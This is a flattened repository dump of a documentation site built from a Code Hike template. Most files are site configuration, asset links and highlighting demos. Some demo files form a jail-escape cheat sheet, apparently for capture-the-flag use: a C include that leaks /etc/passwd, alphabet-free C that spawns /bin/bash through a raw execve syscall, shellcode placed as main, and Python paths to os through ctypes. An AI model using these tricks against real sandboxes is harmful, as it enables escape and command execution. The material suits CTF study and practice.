├── content ├── docs │ ├── concepts │ │ └── assets │ │ │ └── index.js │ ├── contributions.mdx │ ├── meta.json │ ├── c-cheat-sheet │ │ ├── asm-tricks.mdx │ │ ├── without-alphabeat.mdx │ │ ├── without-main.mdx │ │ ├── without-lower-letters.mdx │ │ ├── index.mdx │ │ ├── good-to-know.mdx │ │ └── bypass-symbols.mdx │ ├── python-cheat-sheet │ │ ├── decorators.mdx │ │ ├── unicode-bypass.mdx │ │ ├── format-string.mdx │ │ ├── retrieving-builtins.mdx │ │ ├── with-only-base-execption.mdx │ │ ├── without-parenthesis.mdx │ │ ├── pickle.mdx │ │ ├── bypass-commentary.mdx │ │ ├── index.mdx │ │ ├── good-to-know.mdx │ │ ├── environment-variables.mdx │ │ └── finding-sinks-from-modules.mdx │ ├── TEMPLATES │ │ ├── index.mdx │ │ ├── filename.mdx │ │ ├── link.mdx │ │ ├── classname.mdx │ │ ├── fold.mdx │ │ ├── line-numbers.mdx │ │ ├── diff.mdx │ │ ├── word-wrap.mdx │ │ ├── copy-button.mdx │ │ └── transpile.mdx │ ├── test.mdx │ ├── api.tsx │ ├── index.mdx │ ├── examples.tsx │ └── examples.mdx ├── blog │ ├── test.mdx │ ├── type-safe-markdown.mdx │ ├── headless-codeblocks.md │ ├── rsc-and-css.mdx │ ├── migrate-to-ch.mdx │ ├── hello-server.mdx │ ├── participation.mdx │ ├── power-of-the-web.mdx │ ├── bestiary.mdx │ ├── remotion │ │ ├── .prettierrc │ │ ├── 01.jsx │ │ ├── 00.jsx │ │ ├── 02.jsx │ │ └── 03.jsx │ ├── .prettierrc │ ├── markdown.mdx │ ├── known-keys.mdx │ ├── fine-grained │ │ └── code.tsx │ └── codeblocks.mdx └── components │ ├── .prettierrc │ ├── api-reference │ └── collapsible.tsx │ └── slideshow │ ├── slideshow.tsx │ └── slides.tsx ├── app ├── icon.png ├── favicon.ico ├── landing │ ├── logo.meta.png │ ├── logo.drivly.png │ ├── logo.github.png │ ├── text.github.png │ ├── placeholdifier.woff2 │ ├── placeholdifier-monospace.woff2 │ ├── download.tsx │ ├── logo.uidev.svg │ ├── sponsors │ │ ├── oc-sponsors.js │ │ ├── update.js │ │ └── gh-sponsors.js │ ├── demo.md │ └── profile.md ├── blog │ ├── [slug] │ │ └── pomber.jpg │ ├── layout.tsx │ ├── feed.xml │ │ └── route.ts │ └── og │ │ └── page.tsx ├── play │ └── page.tsx ├── test │ ├── page.tsx │ ├── content.md │ └── client.tsx ├── top-sponsors.png │ └── route.tsx ├── api │ ├── revalidate │ │ ├── sponsors │ │ │ └── route.ts │ │ └── test │ │ │ └── route.ts │ └── search │ │ └── route.ts ├── docs │ ├── layout.tsx │ └── [[...slug]] │ │ ├── code-example.tsx │ │ └── preview-implementation.tsx ├── not-found.tsx ├── source.ts └── demo │ ├── content.mdx │ └── client.tsx ├── public ├── logo.png ├── blog │ ├── v1.png │ ├── remotion.png │ ├── remotion │ │ ├── 00.mp4 │ │ ├── 02.mp4 │ │ ├── 04.mp4 │ │ ├── 06.mp4 │ │ └── examples.mp4 │ ├── v1-migration.png │ ├── curse │ │ ├── nat.org.png │ │ └── tailwindcss.com.png │ ├── build-time-components.png │ ├── fine-grained-markdown.png │ ├── rich-content-websites.png │ └── the-curse-of-markdown.png ├── codehike.png ├── examples │ ├── fumadocs.png │ ├── nextra-3.png │ ├── remotion.png │ ├── shopify.png │ ├── swiftui.png │ └── docusaurus.png ├── grid.svg └── dark-grid.svg ├── postcss.config.js ├── demos ├── twoslash │ └── content.md ├── footnotes │ └── content.md ├── annotations │ ├── mark │ │ ├── content.md │ │ └── page.tsx │ ├── basic │ │ ├── content.md │ │ └── page.tsx │ ├── query │ │ ├── content.md │ │ └── page.tsx │ ├── groups │ │ ├── content.md │ │ └── page.tsx │ └── regex │ │ ├── content.md │ │ └── page.tsx ├── transpile │ ├── content.md │ └── page.tsx ├── line-numbers │ ├── content.md │ └── page.tsx ├── filename │ ├── content.md │ └── page.tsx ├── copy-button │ ├── content.md │ ├── page.tsx │ └── button.tsx ├── python-cheat-sheet │ ├── finding-sinks-from-modules │ │ ├── content.md │ │ └── page.tsx │ ├── pickle-cheat-sheet │ │ ├── content.md │ │ └── page.tsx │ ├── environment-variables │ │ ├── content.md │ │ └── page.tsx │ ├── create-digits │ │ ├── content.md │ │ └── page.tsx │ ├── decorators │ │ ├── content.md │ │ └── page.tsx │ ├── create-char-and-string │ │ ├── content.md │ │ └── page.tsx │ ├── magic-methods │ │ ├── content.md │ │ └── page.tsx │ ├── good-to-know │ │ ├── page.tsx │ │ └── content.md │ ├── retrieving-builtins │ │ └── page.tsx │ ├── format-string │ │ ├── content.md │ │ └── page.tsx │ ├── finding-sinks-from-modules-object-walker │ │ ├── content.md │ │ └── page.tsx │ ├── base-execption │ │ └── page.tsx │ ├── unicode-bypass │ │ ├── page.tsx │ │ └── content.md │ ├── without-parenthesis │ │ └── page.tsx │ ├── bypass-commentary-ding │ │ └── page.tsx │ ├── bypass-commentary-zip-confusion │ │ └── page.tsx │ └── pickle-with-only-one-global │ │ └── page.tsx ├── hover │ ├── styles.css │ ├── content.mdx │ └── page.tsx ├── fold │ ├── content.md │ ├── annotations.tsx │ └── page.tsx ├── link │ ├── content.md │ └── page.tsx ├── callout │ ├── content.md │ └── page.tsx ├── diff │ └── content.md ├── word-wrap │ └── content.md ├── autolink │ ├── content.md │ └── page.tsx ├── c-cheat-sheet │ ├── good-to-know │ │ ├── content.md │ │ └── page.tsx │ ├── without-alphabeat │ │ └── content.md │ ├── diagraphs │ │ ├── content.md │ │ └── page.tsx │ ├── main-without-symbols │ │ └── content.md │ ├── asm-tricks │ │ ├── content.md │ │ └── page.tsx │ ├── trigraphs │ │ ├── content.md │ │ └── page.tsx │ ├── without-parenthese │ │ └── content.md │ ├── create-int │ │ └── content.md │ ├── without-lower-letters │ │ └── content.md │ └── create-char-and-string │ │ └── content.md ├── classname │ ├── content.md │ └── page.tsx ├── mark │ ├── content.md │ └── page.tsx ├── tabs │ ├── content.mdx │ └── page.tsx ├── token-transitions │ ├── content.md │ ├── content.mdx │ ├── page.tsx │ └── code.tsx ├── slideshow │ ├── .prettierrc │ ├── controls.tsx │ ├── page.tsx │ └── content.md ├── spotlight │ └── .prettierrc ├── api-reference │ └── .prettierrc ├── scrollycoding │ └── .prettierrc ├── collapse │ └── content.md ├── focus │ ├── page.tsx │ ├── content.md │ ├── focus.tsx │ ├── focus.client.tsx │ └── code.tsx ├── occurrences │ ├── page.tsx │ ├── content.md │ └── code.tsx ├── language-switcher │ ├── page.tsx │ └── multi-code.tsx └── tooltip │ └── content.mdx ├── lib └── utils.ts ├── components ├── annotations │ ├── fold.tsx │ ├── token-transitions.tsx │ ├── link.tsx │ ├── focus.tsx │ ├── line-numbers.tsx │ ├── fold.client.tsx │ ├── diff.tsx │ ├── word-wrap.tsx │ ├── pill.tsx │ ├── tooltip.tsx │ ├── ruler.tsx │ ├── mark.tsx │ ├── icons.tsx │ ├── focus.client.tsx │ ├── token-transitions.client.tsx │ └── callout.tsx ├── code │ ├── side-by-side.tsx │ └── code-with-notes.tsx ├── ui │ ├── collapsible.tsx │ ├── hover-card.tsx │ └── tooltip.tsx ├── document-notice.tsx ├── providers │ └── app-provider.tsx ├── component-pack-link.tsx ├── copy-button.tsx ├── layout-demo.tsx ├── time-ago.tsx ├── blocks-to-context.tsx └── demo.tsx ├── .prettierrc ├── mdx-components.tsx ├── .gitignore ├── components.json ├── contributors.json ├── tsconfig.json ├── .github └── workflows │ └── deploy.yml └── ui ├── dependency-terminal.tsx ├── tabs-toggle.tsx └── toggle.tsx /content/docs/concepts/assets/index.js: -------------------------------------------------------------------------------- 1 | !from ./assets/index.js -------------------------------------------------------------------------------- /app/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/app/icon.png -------------------------------------------------------------------------------- /app/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/app/favicon.ico -------------------------------------------------------------------------------- /public/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/logo.png -------------------------------------------------------------------------------- /public/blog/v1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/blog/v1.png -------------------------------------------------------------------------------- /public/codehike.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/codehike.png -------------------------------------------------------------------------------- /app/landing/logo.meta.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/app/landing/logo.meta.png -------------------------------------------------------------------------------- /public/blog/remotion.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/blog/remotion.png -------------------------------------------------------------------------------- /app/blog/[slug]/pomber.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/app/blog/[slug]/pomber.jpg -------------------------------------------------------------------------------- /app/landing/logo.drivly.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/app/landing/logo.drivly.png -------------------------------------------------------------------------------- /app/landing/logo.github.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/app/landing/logo.github.png -------------------------------------------------------------------------------- /app/landing/text.github.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/app/landing/text.github.png -------------------------------------------------------------------------------- /public/blog/remotion/00.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/blog/remotion/00.mp4 -------------------------------------------------------------------------------- /public/blog/remotion/02.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/blog/remotion/02.mp4 -------------------------------------------------------------------------------- /public/blog/remotion/04.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/blog/remotion/04.mp4 -------------------------------------------------------------------------------- /public/blog/remotion/06.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/blog/remotion/06.mp4 -------------------------------------------------------------------------------- /public/blog/v1-migration.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/blog/v1-migration.png -------------------------------------------------------------------------------- /public/examples/fumadocs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/examples/fumadocs.png -------------------------------------------------------------------------------- /public/examples/nextra-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/examples/nextra-3.png -------------------------------------------------------------------------------- /public/examples/remotion.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/examples/remotion.png -------------------------------------------------------------------------------- /public/examples/shopify.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/examples/shopify.png -------------------------------------------------------------------------------- /public/examples/swiftui.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/examples/swiftui.png -------------------------------------------------------------------------------- /public/blog/curse/nat.org.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/blog/curse/nat.org.png -------------------------------------------------------------------------------- /public/examples/docusaurus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/examples/docusaurus.png -------------------------------------------------------------------------------- /app/landing/placeholdifier.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/app/landing/placeholdifier.woff2 -------------------------------------------------------------------------------- /public/blog/remotion/examples.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/blog/remotion/examples.mp4 -------------------------------------------------------------------------------- /postcss.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | plugins: { 3 | tailwindcss: {}, 4 | autoprefixer: {}, 5 | }, 6 | }; 7 | -------------------------------------------------------------------------------- /public/blog/build-time-components.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/blog/build-time-components.png -------------------------------------------------------------------------------- /public/blog/curse/tailwindcss.com.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/blog/curse/tailwindcss.com.png -------------------------------------------------------------------------------- /public/blog/fine-grained-markdown.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/blog/fine-grained-markdown.png -------------------------------------------------------------------------------- /public/blog/rich-content-websites.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/blog/rich-content-websites.png -------------------------------------------------------------------------------- /public/blog/the-curse-of-markdown.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/public/blog/the-curse-of-markdown.png -------------------------------------------------------------------------------- /app/landing/placeholdifier-monospace.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisTraleuh/Fuck-Jails/HEAD/app/landing/placeholdifier-monospace.woff2 -------------------------------------------------------------------------------- /demos/twoslash/content.md: -------------------------------------------------------------------------------- 1 | ```ts 2 | const hi = "Hello" 3 | const msg = `${hi}, world` 4 | // ^? 5 | 6 | // @errors: 2588 7 | msg = 123 8 | ``` 9 | -------------------------------------------------------------------------------- /content/blog/test.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Test post 3 | description: test description 4 | date: 2024-06-20 5 | authors: [pomber] 6 | draft: true 7 | --- 8 | 9 | test 10 | -------------------------------------------------------------------------------- /demos/footnotes/content.md: -------------------------------------------------------------------------------- 1 | ```rb 2 | # !ref Library import 3 | require 'sinatra' 4 | 5 | # !ref URL mapping 6 | get '/hi' do 7 | "Hello World!" 8 | end 9 | ``` 10 | -------------------------------------------------------------------------------- /app/blog/layout.tsx: -------------------------------------------------------------------------------- 1 | import type { ReactNode } from "react" 2 | 3 | export default function RootBlogLayout({ children }: { children: ReactNode }) { 4 | return <>{children} 5 | } 6 | -------------------------------------------------------------------------------- /demos/annotations/mark/content.md: -------------------------------------------------------------------------------- 1 | ```js 2 | const lorem = ipsum == null ? 0 : 1 3 | // !mark(1:2) 4 | dolor = lorem - sit(dolor) 5 | let amet = lorem ? consectetur(ipsum) : 3 6 | ``` 7 | -------------------------------------------------------------------------------- /content/blog/type-safe-markdown.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Type-safe Markdown 3 | description: test description 4 | date: 2024-06-20 5 | authors: [pomber] 6 | draft: true 7 | --- 8 | 9 | test 10 | -------------------------------------------------------------------------------- /demos/transpile/content.md: -------------------------------------------------------------------------------- 1 | ```ts 2 | interface Greeter { 3 | greet(): string 4 | } 5 | 6 | function sayHello(greeter: Greeter) { 7 | console.log(greeter.greet()) 8 | } 9 | ``` 10 | -------------------------------------------------------------------------------- /content/blog/headless-codeblocks.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Headless Codeblocks 3 | description: Headless codeblocks 4 | date: 2024-08-15 5 | authors: [pomber] 6 | draft: true 7 | --- 8 | 9 | TO DO 10 | -------------------------------------------------------------------------------- /lib/utils.ts: -------------------------------------------------------------------------------- 1 | import { type ClassValue, clsx } from "clsx" 2 | import { twMerge } from "tailwind-merge" 3 | 4 | export function cn(...inputs: ClassValue[]) { 5 | return twMerge(clsx(inputs)) 6 | } 7 | -------------------------------------------------------------------------------- /public/grid.svg: -------------------------------------------------------------------------------- 1 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /app/play/page.tsx: -------------------------------------------------------------------------------- 1 | export default function Playground() { 2 | return ( 3 |
4 | // TO DO 5 |
6 | ) 7 | } 8 | -------------------------------------------------------------------------------- /demos/annotations/basic/content.md: -------------------------------------------------------------------------------- 1 | ```js 2 | // !border(1:2) 3 | const lorem = ipsum == null ? 0 : 1 4 | dolor = lorem - sit(dolor) 5 | // !bg[5:16] 6 | let amet = lorem ? consectetur(ipsum) : 3 7 | ``` 8 | -------------------------------------------------------------------------------- /demos/line-numbers/content.md: -------------------------------------------------------------------------------- 1 | ```js 2 | function lorem(ipsum, dolor = 1) { 3 | const sit = ipsum == null ? 0 : 1 4 | dolor = sit - amet(dolor) 5 | return sit ? consectetur(ipsum) : [] 6 | } 7 | ``` 8 | -------------------------------------------------------------------------------- /public/dark-grid.svg: -------------------------------------------------------------------------------- 1 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /content/blog/rsc-and-css.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: The server and the cascade 3 | description: How React Server Components make you better at CSS. 4 | authors: [pomber] 5 | date: 2024-02-10 6 | draft: true 7 | --- 8 | -------------------------------------------------------------------------------- /demos/filename/content.md: -------------------------------------------------------------------------------- 1 | ```js index.js 2 | function lorem(ipsum, dolor = 1) { 3 | const sit = ipsum == null ? 0 : 1 4 | dolor = sit - amet(dolor) 5 | return sit ? consectetur(ipsum) : [] 6 | } 7 | ``` 8 | -------------------------------------------------------------------------------- /content/blog/migrate-to-ch.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Migrate to Code Hike 3 | description: You have an existing website and want to migrate to Code Hike. 4 | date: 2024-01-18 5 | authors: [pomber] 6 | draft: true 7 | --- 8 | -------------------------------------------------------------------------------- /demos/copy-button/content.md: -------------------------------------------------------------------------------- 1 | ```js 2 | function lorem(ipsum, dolor = 1) { 3 | const sit = ipsum == null ? 0 : ipsum.sit 4 | dolor = sit - amet(dolor) 5 | return sit ? consectetur(ipsum) : [] 6 | } 7 | ``` 8 | -------------------------------------------------------------------------------- /content/blog/hello-server.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: React Soup Components 3 | description: A fan-fiction about React and Food 4 | date: 2024-01-25 5 | authors: [pomber] 6 | draft: true 7 | --- 8 | 9 | Hello Server 10 | -------------------------------------------------------------------------------- /content/docs/contributions.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: 🌟 Contributions 3 | description: Getting started with Code Hike 4 | --- 5 | 6 | import { Contributors } from "@/components/contributors" 7 | 8 | 9 | -------------------------------------------------------------------------------- /content/docs/meta.json: -------------------------------------------------------------------------------- 1 | { 2 | "title": "Docs", 3 | "pages": [ 4 | "index", 5 | "contributions", 6 | "---Cheat Sheets---", 7 | "python-cheat-sheet", 8 | "c-cheat-sheet" 9 | ] 10 | } 11 | -------------------------------------------------------------------------------- /demos/annotations/query/content.md: -------------------------------------------------------------------------------- 1 | ```js 2 | // !border(1:2) purple 3 | const lorem = ipsum == null ? 0 : 1 4 | dolor = lorem - sit(dolor) 5 | // !bg[5:16] darkblue 6 | let amet = lorem ? consectetur(ipsum) : 3 7 | ``` 8 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/finding-sinks-from-modules/content.md: -------------------------------------------------------------------------------- 1 | ```py -cwn 2 | __import__("ctypes")._sys -> 3 | __import__("ctypes")._os -> 4 | ``` -------------------------------------------------------------------------------- /components/annotations/fold.tsx: -------------------------------------------------------------------------------- 1 | import { AnnotationHandler } from "codehike/code" 2 | import { InlineFold } from "./fold.client" 3 | 4 | export const fold: AnnotationHandler = { 5 | name: "fold", 6 | Inline: InlineFold, 7 | } 8 | -------------------------------------------------------------------------------- /demos/hover/styles.css: -------------------------------------------------------------------------------- 1 | .hover-container:has([data-hover="one"]:hover) 2 | [data-line]:not([data-line="one"]), 3 | .hover-container:has([data-hover="two"]:hover) 4 | [data-line]:not([data-line="two"]) { 5 | opacity: 0.4; 6 | } 7 | -------------------------------------------------------------------------------- /content/blog/participation.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: The participation continuum 3 | description: Active vs passive learning 4 | date: 2024-01-19 5 | authors: [pomber] 6 | draft: true 7 | --- 8 | 9 | ## Hello World 10 | 11 | loremp ipsum 12 | -------------------------------------------------------------------------------- /demos/fold/content.md: -------------------------------------------------------------------------------- 1 | ```jsx 2 | // !fold[/className="(.*?)"/gm] 3 | function Foo() { 4 | return ( 5 |
6 | hey 7 |
8 | ) 9 | } 10 | ``` 11 | -------------------------------------------------------------------------------- /demos/link/content.md: -------------------------------------------------------------------------------- 1 | ```js 2 | function lorem(ipsum, dolor = 1) { 3 | const sit = ipsum == null ? 0 : ipsum.sit 4 | dolor = sit - amet(dolor) 5 | // !link[/ipsum/] https://example.com 6 | return sit ? consectetur(ipsum) : [] 7 | } 8 | ``` 9 | -------------------------------------------------------------------------------- /demos/callout/content.md: -------------------------------------------------------------------------------- 1 | ```js 2 | const lorem = ipsum(dolor, sit) 3 | // !callout[/amet/] This is a callout 4 | const [amet, consectetur] = [0, 0] 5 | lorem.adipiscing((sed, elit) => { 6 | if (sed) { 7 | amet += elit 8 | } 9 | }) 10 | ``` 11 | -------------------------------------------------------------------------------- /.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "trailingComma": "all", 3 | "semi": false, 4 | "overrides": [ 5 | { 6 | "files": ["*.mdx", "*.md"], 7 | "options": { 8 | "printWidth": 42, 9 | "semi": false 10 | } 11 | } 12 | ] 13 | } 14 | -------------------------------------------------------------------------------- /demos/annotations/groups/content.md: -------------------------------------------------------------------------------- 1 | ```jsx 2 | // !border[/className="(.*?)"/gm] pink 3 | function Foo() { 4 | return ( 5 |
6 | hey 7 |
8 | ) 9 | } 10 | ``` 11 | -------------------------------------------------------------------------------- /components/code/side-by-side.tsx: -------------------------------------------------------------------------------- 1 | export function SideBySide(props: React.HTMLProps) { 2 | return ( 3 |
7 | ) 8 | } 9 | -------------------------------------------------------------------------------- /content/blog/power-of-the-web.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: The power of the Web 3 | description: Embracing the uniqueness of the medium. 4 | date: 2023-12-29 5 | authors: [pomber] 6 | draft: true 7 | --- 8 | 9 | Interactivity, personalization, accessiblity, collaboration. 10 | -------------------------------------------------------------------------------- /demos/diff/content.md: -------------------------------------------------------------------------------- 1 | ```js 2 | function lorem(ipsum, dolor = 1) { 3 | const sit = ipsum == null ? 0 : ipsum.sit 4 | // !diff - 5 | dolor = ipsum - sit 6 | // !diff + 7 | dolor = sit - amet(dolor) 8 | return sit ? consectetur(ipsum) : [] 9 | } 10 | ``` 11 | -------------------------------------------------------------------------------- /content/blog/bestiary.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Technical content bestiary 3 | description: Catalog of all the UI patterns commonly used in technical content. 4 | date: 2024-02-05 5 | authors: [pomber] 6 | draft: true 7 | --- 8 | 9 | ## Hello World 10 | 11 | loremp ipsum 12 | -------------------------------------------------------------------------------- /content/blog/remotion/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "trailingComma": "all", 3 | "semi": false, 4 | "overrides": [ 5 | { 6 | "files": ["*.jsx"], 7 | "options": { 8 | "printWidth": 42, 9 | "semi": false 10 | } 11 | } 12 | ] 13 | } 14 | -------------------------------------------------------------------------------- /demos/word-wrap/content.md: -------------------------------------------------------------------------------- 1 | ```js 2 | function lorem(ipsum, dolor, sit) { 3 | ipsum.amet( 4 | { consectetur: [0, 1] }, 5 | { 6 | adipiscing: elit.sed, 7 | eiusmod: "lorem ipsum dolor sit amet", 8 | sit, 9 | }, 10 | ) 11 | } 12 | ``` 13 | -------------------------------------------------------------------------------- /demos/autolink/content.md: -------------------------------------------------------------------------------- 1 | ```js 2 | // !link[/"(http.*?)"/gm] 3 | function lorem(ipsum, dolor = 1) { 4 | const links = [ 5 | "https://codehike.org", 6 | "https://twitter.com/codehike_", 7 | "https://github.com/code-hike", 8 | ] 9 | return links 10 | } 11 | ``` 12 | -------------------------------------------------------------------------------- /demos/c-cheat-sheet/good-to-know/content.md: -------------------------------------------------------------------------------- 1 | ### Preprocessing tricks: 2 | ```c -cwn 3 | // Leak file 4 | #include "/etc/passwd" 5 | 6 | // variable without type (only work in global) 7 | a; 8 | s="hello"; 9 | int main(void) { 10 | printf("%d:%s", a, s); 11 | return 0; 12 | } 13 | 14 | ``` -------------------------------------------------------------------------------- /demos/classname/content.md: -------------------------------------------------------------------------------- 1 | ```js 2 | function lorem(ipsum, dolor = 1) { 3 | // !className line-through 4 | const sit = ipsum == null ? 0 : ipsum.sit 5 | dolor = sit - amet(dolor) 6 | // !className[/sit/] bg-red-700 rounded-lg px-1 7 | return sit ? consectetur(ipsum) : [] 8 | } 9 | ``` 10 | -------------------------------------------------------------------------------- /content/docs/c-cheat-sheet/asm-tricks.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: ASM tricks 3 | description: ASM tricks 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | 12 | -------------------------------------------------------------------------------- /demos/c-cheat-sheet/without-alphabeat/content.md: -------------------------------------------------------------------------------- 1 | ```c -cwn 2 | // gcc -Wl,--entry=_ -nostartfiles -w -O0 3 | (*$)(); 4 | (*$__)(); 5 | _(){ 6 | $__= 84884400; // 0x50f3bb0 -> mov $rax, 0x3b; syscall 7 | $=_+11; // move to execve 8 | $("\057\142\151\156\057\142\141\163\150", 0, 0); // $("/bin/bash", 0, 0) 9 | } 10 | ``` 11 | -------------------------------------------------------------------------------- /content/docs/python-cheat-sheet/decorators.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Decorators 3 | description: Decorators 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | 12 | -------------------------------------------------------------------------------- /content/docs/c-cheat-sheet/without-alphabeat.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Without Alphabeat 3 | description: Without Alphabeat 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | 12 | -------------------------------------------------------------------------------- /content/docs/c-cheat-sheet/without-main.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Without Parenthese 3 | description: Without Parenthese 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | 12 | -------------------------------------------------------------------------------- /demos/c-cheat-sheet/diagraphs/content.md: -------------------------------------------------------------------------------- 1 | ```c -cwn 2 | /* 3 | Diagraphs: 4 | <% : { 5 | %> : } 6 | <: : [ 7 | :> : ] 8 | %: : # 9 | %:%: : ## 10 | <%: : {# 11 | %>% : }# 12 | */ 13 | 14 | %:include 15 | 16 | int main() 17 | <% 18 | char s<::> = "I love Digraphs! Thx MisTrale"; 19 | puts(s); 20 | return 0; 21 | %> 22 | ``` -------------------------------------------------------------------------------- /demos/mark/content.md: -------------------------------------------------------------------------------- 1 | ```js 2 | function lorem(ipsum, dolor = 1) { 3 | // !mark 4 | return dolor 5 | } 6 | 7 | function ipsum(lorem, dolor = 1) { 8 | // !mark(1:2) gold 9 | const sit = lorem == null ? 0 : lorem.sit 10 | dolor = sit - amet(dolor) 11 | // !mark[/sit/] pink 12 | return sit ? consectetur(lorem) : [] 13 | } 14 | ``` 15 | -------------------------------------------------------------------------------- /demos/c-cheat-sheet/main-without-symbols/content.md: -------------------------------------------------------------------------------- 1 | ```c -cwn 2 | // !callout[/gnu/] can be : __attribute__((section(".text"))) 3 | [[gnu::section(".text")]] char main[] = "\xeb\x17\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x59\x31\xd2\xb2\x0d\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe4\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x0a"; 4 | ``` 5 | -------------------------------------------------------------------------------- /content/docs/python-cheat-sheet/unicode-bypass.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Unicode Bypass 3 | description: Unicode Bypass 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | 12 | -------------------------------------------------------------------------------- /content/docs/c-cheat-sheet/without-lower-letters.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Without Lower Letters 3 | description: Without Lower Letters 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | 12 | -------------------------------------------------------------------------------- /content/docs/python-cheat-sheet/format-string.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Format string 3 | description: Format string 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /content/docs/python-cheat-sheet/retrieving-builtins.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Retrieving builtins 3 | description: Retrieving builtins 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | 12 | -------------------------------------------------------------------------------- /content/docs/python-cheat-sheet/with-only-base-execption.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Only Base Execption 3 | description: UOnly Base Execption 4 | layout: PreviewAndImplementation 